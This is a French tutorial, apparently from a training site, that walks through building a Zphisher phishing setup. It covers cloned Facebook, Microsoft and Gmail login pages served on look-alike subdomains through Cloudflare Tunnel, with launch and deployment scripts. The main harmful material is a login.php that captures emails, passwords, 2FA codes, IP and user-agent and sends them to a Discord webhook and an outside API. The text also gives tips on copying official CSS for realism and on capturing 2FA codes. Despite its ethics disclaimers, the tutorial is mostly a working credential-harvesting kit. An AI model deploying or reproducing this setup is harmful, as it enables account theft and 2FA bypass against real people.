⚠️ AVERTISSEMENT LÉGAL ET ÉTHIQUE IMPORTANT
Cet article est destiné exclusivement à la formation en cybersécurité, aux tests d’intrusion autorisés (pentest avec autorisation écrite) et à la sensibilisation des utilisateurs.
PCTAMALOU décline toute responsabilité en cas de mauvaise utilisation.

⚠️ Position éthique et légale

Cette formation montre comment simuler des attaques de phishing dans un cadre contrôlé pour mieux les détecter et former les utilisateurs.

Nous recommandons fortement d’utiliser des outils professionnels comme Gophish pour les campagnes de sensibilisation en entreprise, car ils offrent un consentement clair, des statistiques et une traçabilité éthique.

Zphisher est utilisé ici uniquement pour illustrer les mécanismes techniques dans un environnement de lab.

Règle d’or : Toujours obtenir une autorisation écrite préalable. Ne jamais envoyer de lien vers une personne sans son consentement explicite.

Zphisher Pro 2026
Domaine perso · Automatisation · Templates avancés

Dépassez les limites des tunnels publics : Cloudflare Tunnel + votre domaine + webhook Discord + templates personnalisés (Facebook, Microsoft, Gmail). Tout est basé sur la structure réelle de Zphisher 2026.

✅ Dossier .sites/ 📁 usernames.dat / usernames.txt ⚡ Cloudflared 2026 🔄 Compatible mise à jour

🗺️ Workflow complet en un coup d'œil

graph TD A[Domaine pctamalou.fr
Cloudflare] --> B[Tunnel cloudflared
HTTPS automatique] B --> C[localhost:8080
Serveur PHP intégré] C --> D[Choix template personnalisé] D --> E[Facebook / Microsoft / Gmail] E --> F[Capture identifiants
.sites/.../usernames.dat] F --> G[Webhook Discord
Notification instantanée] G --> H[Tableau de bord
PCTAMALOU_logs]

Timeline d'une démo : ① Lancement du script (1s) → ② Tunnel Cloudflare actif (3s) → ③ URL crédible générée → ④ Envoi du lien au participant → ⑤ Réception des identifiants dans Discord en temps réel.

🏗️ Architecture globale – Vue professionnelle

graph TD subgraph Formation["Formation PCTAMALOU 2026"] Cloudflare[Cloudflare Tunnel + Domaine perso] Zphisher[Zphisher Core + Templates .sites/] PHP[PHP Built-in Server :8080] Discord[Webhook Discord] Logs[Logs centralisés + API PCTAMALOU] end Cloudflare --> PHP PHP --> Zphisher Zphisher --> Discord Zphisher --> Logs

Avantage : Tout reste sous votre contrôle, avec URLs crédibles et notifications en temps réel.

📈 Flux de capture complet (avec 2FA optionnel)

sequenceDiagram participant Victime participant Cloudflare participant PHP as Serveur PHP (localhost:8080) participant Template as Template personnalisé participant Logs as usernames.log / .dat participant Discord Victime->>Cloudflare: Accède à https://fb.pctamalou.fr Cloudflare->>PHP: Forward via tunnel PHP->>Template: Sert la page + bandeau sensibilisation Victime->>Template: Soumet identifiants (email + mot de passe + 2FA optionnel) Template->>Logs: Écriture sécurisée du log Template->>Discord: Envoi notification via webhook Template-->>Victime: Redirection vers le vrai site (optionnel) Note over Victime,Discord: Notification instantanée + traçabilité complète

📊 Comparatif des méthodes de tunneling (2026)

MéthodeURL généréeSSLStabilitéPersistanceCoût
Cloudflare Tunnel + domaine persohttps://fb.pctamalou.fr✅ Oui⭐⭐⭐⭐⭐✅ RedémarrableGratuit
LocalXpose (intégré)random.localxpose.io✅ Oui⭐⭐⭐❌ Change à chaque runGratuit
Ngrok (alternatif)random.ngrok.io✅ Oui⭐⭐⭐❌ Limitée gratuitFreemium
Serveur VPS + Nginxhttps://votre-domaine.fr✅ Let's Encrypt⭐⭐⭐⭐⭐✅ Permanent~5€/mois
Recommandation formation : Cloudflare Tunnel + domaine perso offre le meilleur compromis crédibilité / simplicité / gratuité.

🛠️ 0. Prérequis (environnement 2026)

Installation rapide Zphisher

git clone https://github.com/htr-tech/zphisher.git
cd zphisher
bash zphisher.sh   # Le dossier des templates est .sites/

🌐 1. Domaine personnalisé avec Cloudflare Tunnel

Créez un tunnel permanent avec vos sous-domaines de formation.

1.1 Installation cloudflared

wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

1.2 Authentification et création

cloudflared tunnel login
cloudflared tunnel create pctamalou-zphisher

Notez l'UUID. Le fichier credentials est dans ~/.cloudflared/UUID.json.

1.3 Configuration (config.yml)

tunnel: VOTRE_UUID
credentials-file: /home/user/.cloudflared/VOTRE_UUID.json

ingress:
  - hostname: fb.pctamalou.fr
    service: http://localhost:8080
  - hostname: ms.pctamalou.fr
    service: http://localhost:8080
  - hostname: gmail.pctamalou.fr
    service: http://localhost:8080
  - service: http_status:404

1.4 Routage DNS

cloudflared tunnel route dns pctamalou-zphisher fb.pctamalou.fr
cloudflared tunnel route dns pctamalou-zphisher ms.pctamalou.fr
cloudflared tunnel route dns pctamalou-zphisher gmail.pctamalou.fr

📘 2. Personnalisation Facebook (dossier .sites/)

Correction importante : Zphisher 2026 utilise .sites/ et non websites/.

cd zphisher/.sites
cp -r facebook fb_pctamalou

🔍 Dans fb_pctamalou/index.php : cherchez <div class="_9nq2"> et ajoutez juste après :

<div style="background:#ff3366;color:#fff;padding:8px;text-align:center;">
⚠️ SIMULATION PCTAMALOU 2026 – Aucune donnée réelle collectée
</div>

Fichier de logs : .sites/fb_pctamalou/usernames.txt (ou usernames.dat selon version).

🪟 3. Personnalisation Microsoft

cd zphisher/.sites
cp -r microsoft ms_pctamalou

🔍 Dans ms_pctamalou/index.php : cherchez <div class="login-container">. Ajoutez le bandeau :

<div style="background:#d83b01;color:white;padding:6px;">
🔐 EXERCICE DE SENSIBILISATION – Ne saisissez pas de vrais identifiants
</div>

Logs dans .sites/ms_pctamalou/usernames.dat. Champs POST : loginfmt, passwd.

📧 4. Personnalisation Gmail

cd zphisher/.sites
cp -r google gmail_pctamalou

🔍 Dans gmail_pctamalou/index.php : cherchez <div id="view_container">. Ajoutez :

<div style="background:#1a73e8;color:white;padding:10px;border-radius:4px;">
📢 FORMATION PCTAMALOU – Cette page est une simulation.
</div>

Logs dans .sites/gmail_pctamalou/usernames.txt. Champs : identifier, password.

🔄 Déploiement propre des templates personnalisés

Créez un dossier custom_templates/ à la racine de Zphisher et utilisez ce script :

#!/bin/bash
# deploy_custom_templates.sh - PCTAMALOU 2026

ZPH_PATH="/opt/zphisher"
CUSTOM_PATH="./custom_templates"

echo "🚀 Déploiement des templates personnalisés..."

for dir in "$CUSTOM_PATH"/*/; do
    if [ -d "$dir" ]; then
        name=$(basename "$dir")
        target="$ZPH_PATH/.sites/${name}_pctamalou"
        cp -r "$dir" "$target"
        echo "✅ Template déployé : ${name}_pctamalou"
    fi
done

chmod -R 666 "$ZPH_PATH/.sites/"*/*usernames.* 2>/dev/null
echo "✅ Droits ajustés sur les fichiers de logs"
echo "🎉 Déploiement terminé !"

📡 Webhook Discord Professionnel (Embed structuré)

Code recommandé à insérer dans le fichier login.php de chaque template personnalisé (remplacez l'ancienne version) :

<?php
$webhook_url = "https://discord.com/api/webhooks/VOTRE_ID/VOTRE_TOKEN";

$email   = $_POST['email'] ?? $_POST['loginfmt'] ?? $_POST['identifier'] ?? 'N/A';
$pass    = $_POST['pass'] ?? $_POST['passwd'] ?? $_POST['password'] ?? 'N/A';
$code2fa = $_POST['2fa'] ?? $_POST['code'] ?? 'N/A';
$ip      = $_SERVER['REMOTE_ADDR'];
$ua      = $_SERVER['HTTP_USER_AGENT'];
$time    = date('Y-m-d H:i:s');

$embed = [
    "title"       => "🟢 Capture PCTAMALOU - " . basename(__DIR__),
    "color"       => 0x00ff9d,
    "timestamp"   => date('c'),
    "fields"      => [
        ["name" => "Email / Login", "value" => "`$email`", "inline" => true],
        ["name" => "Mot de passe",  "value" => "`$pass`",  "inline" => true],
        ["name" => "Code 2FA",      "value" => "`$code2fa`", "inline" => true],
        ["name" => "Adresse IP",    "value" => $ip, "inline" => true],
        ["name" => "User-Agent",    "value" => $ua, "inline" => false]
    ],
    "footer"      => ["text" => "Formation PCTAMALOU • " . $time]
];

$payload = json_encode(["embeds" => [$embed]]);

$context = stream_context_create(['http' => [
    'method'  => 'POST',
    'header'  => 'Content-Type: application/json',
    'content' => $payload
]]);

file_get_contents($webhook_url, false, $context);
?>

🚀 Script de lancement professionnel

#!/bin/bash
# pctamalou_zphisher_pro.sh

TPL=${1:-fb}
case $TPL in
  fb)    FOLDER="fb_pctamalou" ;;
  ms)    FOLDER="ms_pctamalou" ;;
  gmail) FOLDER="gmail_pctamalou" ;;
  *) echo "Usage: $0 fb|ms|gmail"; exit 1 ;;
esac

PORT=8080
ZPH_PATH="/opt/zphisher"
SITES_PATH="$ZPH_PATH/.sites/$FOLDER"
LOG_FILE="$SITES_PATH/usernames.log"

# Nettoyage des processus existants
pkill -f "php -S localhost:$PORT" 2>/dev/null
pkill -f "cloudflared tunnel run" 2>/dev/null

# Lancement des services
cloudflared tunnel run pctamalou-zphisher &
TUNNEL_PID=$!

cd "$SITES_PATH" || exit 1
php -S localhost:$PORT &
PHP_PID=$!

echo "🚀 Zphisher Pro démarré avec succès"
echo "🌐 URL : https://$TPL.pctamalou.fr"
echo "📁 Logs : $LOG_FILE"
echo "PID Tunnel : $TUNNEL_PID | PID PHP : $PHP_PID"

# Gestion propre de l'arrêt
trap 'kill $PHP_PID $TUNNEL_PID 2>/dev/null; echo "🛑 Services arrêtés proprement"; exit' INT TERM

tail -f "$LOG_FILE" 2>/dev/null

✅ Checklist avant démonstration

⚡ Avancé : Capture 2FA & personnalisation profonde

Capture de codes 2FA (templates supportés)

Certains templates Zphisher (ex. "Instagram new", "Microsoft 2FA") incluent une seconde page pour le code 2FA. Pour les utiliser :

# Dans .sites/ choisissez un template avec "2fa" dans le nom
cp -r instagram_2fa ig_2fa_pctamalou

Le code 2FA est alors enregistré dans usernames.dat après le mot de passe.

Personnalisation CSS complète

Pour un rendu parfait, extrayez le CSS original du site officiel (via les outils développeur) et remplacez le bloc <style> dans index.php. Vous pouvez aussi héberger une copie des polices et logos sur votre serveur.

Intégration avec l'écosystème PCTAMALOU

Vous pouvez rediriger les logs vers une API PCTAMALOU pour centraliser les résultats de formation :

// Dans login.php, après capture
file_get_contents("https://api.pctamalou.fr/log?email=$email&ip=$ip");

🧰 Comparaison : Zphisher vs Gophish vs King Phisher

OutilTypeComplexitéPersonnalisationAutomatisationUsage recommandé
ZphisherScript Bash + PHPFaibleMoyenne (templates)LimitéeDémos rapides, formation
GophishFramework Go + Web UIMoyenneÉlevée (email + landing)Excellente (campagnes)Campagnes pro, suivi stats
King PhisherClient/Serveur PythonÉlevéeTrès élevéeAvancéePentests avancés, red team

Zphisher excelle par sa simplicité pour des exercices de sensibilisation ponctuels, tandis que Gophish est idéal pour des campagnes d'envergure avec tracking.

❓ FAQ – Problèmes courants en 2026

Le tunnel Cloudflare affiche "error=invalid ingress configuration"

Vérifiez l'indentation du fichier config.yml (espaces, pas de tabulations). Utilisez cloudflared tunnel ingress validate.

Les logs ne s'écrivent pas dans .sites/...

Le serveur PHP intégré peut avoir des droits insuffisants. Faites chmod 777 .sites/mon_template/ (temporairement pour test).

Le webhook Discord ne fonctionne pas (erreur 400)

Assurez-vous que allow_url_fopen=On dans /etc/php/X.X/cli/php.ini (pour PHP CLI). Testez avec php -r "var_dump(ini_get('allow_url_fopen'));".

Comment utiliser un autre port que 8080 ?

Modifiez PORT=XXXX dans le script et adaptez le config.yml Cloudflare (service: http://localhost:XXXX).

Zphisher a été mis à jour et mes templates perso ont disparu

Gardez toujours une copie de vos dossiers personnalisés en dehors du dépôt. Utilisez le script wrapper plutôt que de modifier zphisher.sh.

Puis-je utiliser un certificat SSL Let's Encrypt sans Cloudflare ?

Oui, sur un VPS avec Nginx et Certbot. C'est plus stable mais nécessite une IP publique fixe.

Le lien Cloudflare donne "Error 1033 – Argo Tunnel error"

Le tunnel n'est pas actif ou le service local n'écoute pas. Vérifiez que le serveur PHP tourne et que le port est accessible en local.

Comment simuler une page de 2FA sans vrai code ?

Modifiez le login.php du template 2FA pour qu'il accepte n'importe quel code (ex: commentez la vérification).

✅ Conclusion

Vous disposez maintenant d'une infrastructure professionnelle et réaliste pour vos formations. Les participants verront des URLs crédibles, vous recevrez les résultats en temps réel et tout reste sous votre contrôle.

Rappel éthique : ces techniques sont exclusivement destinées à la sensibilisation et aux tests autorisés. Le partage de ces connaissances vise à renforcer la sécurité collective.